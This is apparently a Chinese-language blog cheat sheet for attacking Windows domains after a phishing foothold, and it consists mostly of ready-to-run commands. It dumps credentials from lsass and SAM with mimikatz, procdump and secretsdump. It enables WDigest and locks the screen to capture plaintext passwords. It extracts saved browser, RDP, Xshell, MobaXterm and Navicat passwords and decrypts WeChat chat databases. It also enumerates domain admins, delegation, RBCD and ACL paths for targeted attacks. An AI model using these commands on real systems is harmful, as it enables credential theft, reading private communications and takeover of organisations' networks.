一.域内信息收集
通过打点、钓鱼拿下一台PC、服务器突破边界进入内网,先进行信息收集。包括但不限于:
1.网络、进程服务、用户、系统信息 ... ...;
2.文件,特别是当前用户目录 ... ...;
3.主机凭证,包括kerberos票据、主机密码,RDP凭证 ... ...;
4.第三方程序:第三方终端管理程序凭证,浏览器记录和密码,数据库管理工具凭证,微信记录 ... ...;
5.域信息:当前域名/域SID,域用户/域管用户/委派用户,域控机器/DNS服务机器/ADCS机器/exchange机器,LDAP记录/DNS记录,ACL/GPO,域信任关系 ... ...
1.1 网络相关
arp -a #查看arp缓存表
route print #路由表
netstat -ano #查看网络连接
ipconfig /displaydns #查看dns缓存
type c:\Windows\system32\drivers\etc\hosts #查看hosts文件
tracert baidu.com #通过跃点跟踪路由跳转信息
中间件和数据库配置文件
1.2 用户进程
ver #查看系统版本
systeminfo #查看系统配置
tasklist /svc #查看正在运行的进程服务
tasklist /V /FO CSV #详细进程
query user #查看登录会话
net session #列出本地计算机连接的客户端对话信息
whoami /all
net localgroup administrator
wmic product get name,version #查询所有安装过的软件及版本
wmic service list brief #查询当前机器的服务信息
1.3 凭据相关
1.3.1 主机凭据
- 票据
klist #查看当前用户缓存的票据凭证
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit #导出lsass进程票据
mimikatz.exe "kerberos::ptt gold.kirbi" exit #注入票据
- RDP凭据
cmdkey /list #查看当前用户保存的RDP凭证
dir /a %userprofile%\appdata\local\microsoft\credentials\* #查找本地的Credentials
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" #rdp连接默认的10个记录
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s #当前用户rdp连接历史li记录
1.使用Invoke-WCMDump脚本导出,不能导出域凭证
powershell -exec bypass Import-Module .\Invoke-WCMDump.ps1;Invoke-WCMDump
2.使用Mimikatz破解凭证,详见内网渗透|获取远程桌面连接记录与RDP凭据
3.导出svchost进程内存查询密码明文,详见内网渗透|获取远程桌面连接记录与RDP凭据
4.使用Mimikatz从已存在的RDP连接中导出凭据
mimikatz.exe "privilege::debug" "ts::logonpasswords" exit > log.txt
- 主机密码
读取lsass
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > log.txt
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
xiaomimi.exe 1
读取SAM
reg save hklm\sam sam.hive
reg save hklm\security security.hive
reg save hklm\system system.hive
mimikatz.exe "lsadump::sam /sam:sam.hive \security:hive.save" exit
python secretsdump.py -sam sam.hive -security security.hive -system system.hive LOCAL
安装KB2871997补丁后lsass不保存明文,手动开启Wdigest Auth后锁屏让管理员重新输密码,2012 r2后默认自带
#开启Wdigest Auth
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
#锁屏
rundll32 user32.dll,LockWorkStation
1.3.2 终端管理软件凭据
- 浏览器凭证记录
BrowserData.exe -b all -f json --dir C:\Users\Public\1\
HackBrowserData.exe #会在当前目录下生成results目录
- 其他第三方终端管理工具
SharpDecryptPwd
#支持Navicat,TeamViewer,FileZilla,Foxmail,TortoiseSVN,Chrome,RDCMan,SunLogin,WinSCP,Xmangager系列产品(Xshell,Xftp)
SharpDecryptPwd.exe --help
Xshell全版本导出
SharpXDecrypt
SharpXDecrypt.exe
MobaXterm导出
how-does-MobaXterm-encrypt-password
1.注册表方式解密
reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\P #查询密码字段
reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm #查询SessionP
reg query HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\C #查询凭证字段
#存在主密码解密
ShowMobaXterm.exe 主密码 >1.txt
MobaXtermCipher.py dec -p 主密码 密文
#不存在主密码解密
python MobaXtermCipher.py dec -sysh 机器主机名 -sysu 机器用户名 -h 密文对应ip -u 密文对应用户 密码密文 #解密密码字段密文
python MobaXtermCipher.py dec -sp SessionP 凭证密文 #解密凭证字段密文
2.配置文件保存方式解密
会保存在MobaXterm目录下的MobaXterm.ini文件,可以直接将MobaXterm.ini文件导出,替换配置文件导入本地MobaXterm
MobaXterm.ini中[passwords]字段为密码字段,SessionP字段是SessionP值
#存在主密码解密
MobaXtermCipher.py dec -p 主密码 密文
#不存在主密码解密
python MobaXtermCipher.py dec -sysh 机器主机名 -sysu 机器用户名 -h 密文对应ip -u 密文对应用户 密码密文 #解密密码字段密文
python MobaXtermCipher.py dec -sp SessionP 凭证密文 #解密凭证字段密文
- 数据库管理工具
Navicat
SharpDecryptPwd Navicat
1.3.3 中间件和数据库配置
查看中间件和数据库配置文件,收集密码形成密码字典进行后续凭证爆破
1.3.4 微信
- 微信记录
https://github.com/Ormicron/Sharp-dumpkey
导出微信密钥,需要微信在登录
Sharp-dumpkey.exe #会生成DBPass.bin
导出聊天记录,注意数据库需要copy后传,因为占用中不能读取
C:\Users\test\Documents\WeChat Files\微信ID\Msg\MicroMsg.db
C:\Users\test\Documents\WeChat Files\微信ID\Msg\Multi\MSG*.db
chatViewTool
将密钥DBPass.bin和db数据库放在同目录下,用chatViewTool打开
1.4 域信息相关
1.4.1 基础信息
net group "domain admins" /domain #查看域管用户
net group "Enterprise Admins" /do #查看企业系统管理员组
net group "domain controllers" /domain #查看域控制器组
net group "Exchange Servers" /do #查看exchange组
net time /domain #查看当前域的时间服务器
netdom query pdc #查看主域控制器
nltest /domain_trusts #查看域信任关系
net group "DnsAdmins" #查看DNS组
net group "Organization Management" #查看exchange管理组
net group "Schema Admins"
net group "Group Policy Creator Owners"
net group /domain #查看当前域所有组
net user /domain #查看当前域的所有域用户
net group "domain computers" /domain #查看域机器组
net view /domain #查看查看内网存在多少个域
net view /domain:qaq.com //查看QAQ.com域内的所有主机
net view #查看当前域所有主机共享,既:存活主机名
net view \\192.168.1.1 #查看指定机器的共享列表
net view \\主机名
net accounts /domain #查看密码策略
net config workstation #查看当前登录域
certutil -dump -v #ADcs服务
#查看当前本地组。可能会配置域用户组加入当前机器的管理员组
net localgroup administrators
net localgroup users
#使用安全帐户管理器远程API获取用户
python samrdump.py qaq.com/admin:Aa123456@192.168.10.250
#使用impacket GetADUsers脚本从ldap获取域用户
python GetADUsers.py qaq.org/administrator:Aa123456 -dc-ip 192.168.11.250 -all
1.4.2 DNS记录
- 通过ldap查询dns记录
OU是CN=MicrosoftDNS,DC=DomainDnsZones,DC=qaq,DC=com,objectClass为dnsNode
#会在当前目录生成records.csv文件
adidnsdump ldap://192.168.10.250 -u qaq\test -p Aa123456 -r --dns-tcp #代理远程执行
adidnsdump.exe ldap://192.168.10.250 -u qaq\test -p Aa123456 -r
#通过SharpAdidnsdump
SharpAdidnsdump.exe 192.168.10.250 > dbs.txt
powershell -exec bypass Import-Module .\powerview.ps1;"Get-DNSRecord -ZoneName qaq.com | select name,data > dns.txt"
- 通过dns域传送漏洞获取全部DNS解析记录
nslookup
server test.qaq.com #设置dns
ls qaq.com #列出记录
dig axfr @test.qaq.com qaq.com
1.4.3 关键机器探测
spn
查询SPN收集重要服务定向攻击,例如:exchange服务、adcs服务
setspn -T domain.com -Q */* #服务主体,使用Kerberos须为服务器注册SPN
自动化工具
cscript GetUserSPNs.vbs
定位域管机器/查询域账户和机器关系
1.查询域管组账户登录机器,定向攻击后拿域管凭证;
2.查询域控登录的会话session,定向攻击拿凭证登域控;
3.通过LDAP查询IT部门、运维人员、与靶标相关的部门人员,查询这些人员登录的机器,定向攻击;
通过查询机器的登录会话定位
通过远程注册表查询机器当前登录的用户会话,默认PC机器没有开启允许注册表远程连接
通过NetSessionEnum API查询当前访问机器网络资源的用户名称和来源IP
通过NetWkstaUserEnum API查询登录机器的所有用户,需要机器的管理员权限
- SharpDomainSession
查询指定机器登录的用户、IPC会话
SharpDomainSession
通过远程注册表方式、NetSessionEnum API、NetWkstaUserEnum API查询域控机器登录的用户/IPC连接会话
#NetWkstaUserEnum API接口需要目标机器的访问权限
SharpDomainSession.exe test.qaq.com
- psloggedon
psloggedon是微软PSTOOLS套件,查询指定机器登录会话,查询指定用户登录的机器
#显示指定机器当前登录的用户和网络会话
psloggedon.exe \\test
#显示指定用户当前登录的机器,通过遍历远程注册表方式。PC终端默认不允许远程注册表
psloggedon.exe administrator
- pveFindADUser
会调用远程注册表方式、NetSessionEnum API、NetWkstaUserEnum API三种方式进行枚举所有机器登录的用户会话,枚举指定账户登录的机器,枚举指定机器登录的会话
#枚举所有机器登录的账户
pveFindADUser.exe -current
#枚举登录admin账户的机器
pveFindADUser.exe -current "qaq\admin"
#枚举test机器当前登录的所有账户
pveFindADUser.exe -current -target test
#不探测存活
pveFindADUser.exe -current -noping
#查询test机当前最后一个登录的用户
pveFindADUser.exe -current -target test -last
- netview
netview
只使用WinAPI 枚举所有机器登录会话和共享
#枚举所有机器的共享,调用二个API接口查询机器登录的会话。需要机器的访问权限,一般用域管用户
netview.exe -d
#指定从中提取主机列表的文件
netview.exe -f filename.txt -d
#检查对已找到共享的访问权限
netview.exe -d -c
ldap定位
- 域账户绑定登录机器
查询域用户userWorkstations属性查询登录绑定机器
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "DC=qaq,DC=com" "(userWorkstations=*)" | grep -E "userWorkstations|sAMAccountName"
定位委派账户
约束/非约束委派:查询配置约束委派和非约束委派的服务账户/机器定向攻击,攻击成功后委派访问域控制器
资源委派:
1.查询重要机器(域控制器、委派权限机器、运维人员个人机等)的mS-DS-CreatorSID加域账户,定位攻击这些域账户,然后修改主机属性msDS-AllowedToActOnBehalfOfOtherIdentity配置资源约束委派获取权限;
2.获得域账户后,查询通过该账户加域的机器,然后修改主机属性msDS-AllowedToActOnBehalfOfOtherIdentity配置资源约束委派获得权限;
- 约束委派和非约束委派
#查询非约束委派的主机
powershell -exec bypass Import-Module .\PowerView.ps1;"Get-NetComputer -Unconstrained -Domain qaq.com ">test.txt
#查询非约束委派的服务账户
powershell -exec bypass Import-Module .\PowerView.ps1;"Get-NetUser -Unconstrained -Domain qaq.com ">test.txt
powershell -exec bypass Import-Module .\PowerView.ps1;"Get-NetComputer -Unconstrained -Domain qaq.com ";"Get-NetUser -Unconstrained -Domain qaq.com | select name">test.txt
#查找域中配置非约束委派的服务用户
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#查找域中配置非约束委派的主机
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#查找域中配置约束委派服务用户:
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#查找域中配置约束委派的主机
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
ldapsearch linux kali自带
(注意-D是distinguishedname字段是账户的区别名称,和sAMAccountName登录账户名可能不一致
#查找域中配置非约束委派的用户
ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
#查找域中配置非约束委派的主机
ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
#查找域中配置约束委派服务用户
ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w Aa123456 -b "DC=qaq,DC=com" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
#查找域中配置约束委派的主机
ldapsearch -x -H ldap://192.168.10.250:389 -D "CN=admin,CN=Users,DC=qaq,DC=com" -w test123.. -b "DC=qaq,DC=com" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
- 资源性约束委派(RBCD)
1.查询重要机器(域控制器、委派权限机器、运维人员个人机等)的mS-DS-CreatorSID加域账户,定向攻击这些域账户,修改主机属性(msDS-AllowedToActOnBehalfOfOtherIdentity)配置资源委派获得权限;
2.获得域账户后,查询通过该账户加域的机器,修改主机属性(msDS-AllowedToActOnBehalfOfOtherIdentity)配置资源委派获得权限;
注:2012 的域控才有这个特性,msDS-AllowedToActOnBehalfOfOtherIdentity属性
#如果mS-DS-CreatorSID为空代表通过域管加入域环境
#使用AdFind查询所有机器mS-DS-CreatorSID属性
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID
AdFind.exe -h 192.168.10.250 -u admin -up Aa123456 -b "DC=qaq,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
#使用AdFind查询指定机器mS-DS-CreatorSID属性
AdFind.exe -h 192.168.10.250 -u admin -up Aa123456 -b "CN=TEST4-WIN7,CN=Computers,DC=qaq,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
#根据SID查询对应账户CN全名
AdFind.exe -b "DC=qaq,DC=com" -f "(&(objectsid=S-1-5-21-3105699010-1460039537-418241315-1118))" objectclass cn dn
#查询账户SID
AdFind.exe -b "DC=qaq,DC=com" -f "(sAMAccountName=admin)" objectSid
#通过域账户SID查询使用该账户加域的机器
AdFind.exe -b "DC=qaq,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-3105699010-1460039537-418241315-1118))" cn sAMAccountType objectCategory
域外定位域控制器
扫描88,389,636,3268,3269端口定位域控制器。88是kerberos认证端口,389是ldap服务端口,636是ldap tls服务端口
域外定位exchange机器
扫描25,443,465,587,2525端口
定位adcs
certutil -dump -v #域内定位
https://github.com/ly4k/Certipy
certipy find "qaq.org/test:Aa123456@192.168.11.250" -debug #域外定位
1.4.4 ACL
查看高权限目标对象的ACL安全访问控制列表,扩展到目标的攻击路径。通过间接攻击对应的DACL对象获取高权限目标权限
- 使用SharpHound分析acl
使用SharpHound分析高权限目标的acl INBOUND CONTROL RIGHTS 入站控制权限,查看可访问该目标的DACL
获取到一个用户/机器权限的时候,使用SharpHound分析该对象的ACL OUTBOUND OBJECT CONTROL 出站控制权限,查看该对象可访问的DACL
- 使用Invoke-ACLPwn分析不安全的acl
不好用,兼容性差,通过调用SharpHound分析
https://github.com/fox-it/Invoke-ACLPwn
可管控目标的acl:
AddMembers //可以将任何用户加入这个组,权限利用针对的对象为组对象
User-Force-Change-Password //更改目标用户的密码
DS-Replication-Get-Changes和 DS-Replication-Get-Changes-All //拥有dcsyns权限。利用针对的对象为域对象
GenericAll //授予目标对象的完全控制权。包括WriteDacl和WriteOwner特权。
GenericWrite //此权限能够更新目标对象的属性值
Self-Membership //某个账户能够把自身添加到对应组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)
WriteProperty //WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限
WriteOwner //对一个组具有WriteProperty权限的情况下,“写入全部属性”除了WriteProperty还包括了其他的权限
WriteDacl //WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利
AllExtendedRights //拥有所有扩展权限。包括:User-Force-Change-Password权限、AddMember权限、GenericAll权限等
Full Control //具备所有权限
- 使用RACE利用acl获取特权
https://github.com/samratashok/RACE
1.4.5 GPO
GPP MS14-025漏洞,2012以上已修复。查询组策略是否配置了账户密码,XM文件中cpassword字段
PowerSploit项目Exfiltration模块
powershell -exec bypass -Command "&{import-module .\Get-GPPPassword.ps1;Get-GPPPassword -verbose}"
1.4.6 ldap分析
拿到域账户、域内有效凭证,通过ldap分析域信息。域机器账户拥有读取ldap的权限,和普通域用户一样,默认也可以添加机器账户。
- SharpHound
使用SharpHound分析域架构、信息
SharpHound
#使用SharpHound分析ldap数据,执行后生成zip压缩包。注意.net版本限制
SharpHound.exe -c all --EncryptZip
powershell -exec bypass -command "Import-Module ./SharpHound.ps1; Invoke-BloodHound all"
SharpHound.exe -d qaq.com --DomainController test.qaq.com --LdapPort 389 --LdapUsername test --LdapPassword Aa123456 #非域主机使用凭证
runas /netonly /user:qaq.com\admin cmd.exe #使用runas指定当前凭证
将生成的zip压缩包导入BloodHound平台可视化分析
sudo neo4j start
bloodhound
- ADExplorer
使用ADExplorer连接和导出LDAP数据库
ADExplorer.exe -snapshot "" result.dat /accepteula
- ldapsearch
使用ldapsearch搜索LDAP
#统计机器数量
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "DC=qaq,DC=com" "(sAMAccountType=805306369)"|grep dNSHostName | wc -l
#统计用户数量
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "DC=qaq,DC=com" "(sAMAccountType=805306368)" | grep sAMAccountName | wc -l
#查看域管
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Domain Admins,CN=users,DC=qaq,DC=com" "(member=*)" | grep member
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Schema Admins,CN=users,DC=qaq,DC=com" "(member=*)" | grep member
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Group Policy Creator Owners,CN=users,DC=qaq,DC=com" "(member=*)" | grep member
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Enterprise Admins,CN=users,DC=qaq,DC=com" "(member=*)" | grep member
#查看受保护的对象
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "DC=qaq,DC=com" "(admincount=1)" | grep sAMAccountName
#查看DnsAdmins组
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=DnsAdmins,CN=users,DC=qaq,DC=com" "(member=*)" | grep member
#查询域控制器
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "ou=domain controllers,DC=qaq,DC=com" | grep sAMAccountName
#查询Exchange机器
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Exchange Servers,OU=Microsoft Exchange Security Groups,DC=qaq,DC=com" "(member=*)" | grep member
#查询Exchange管理用户
ldapsearch -x -H ldap://192.168.10.250 -D "admin@qaq.com" -w Aa123456 -b "CN=Organization Management,OU=Microsoft Exchange Security Groups,DC=qaq,DC=com" "(member=*)" | grep member
3616

被折叠的 条评论
为什么被折叠?



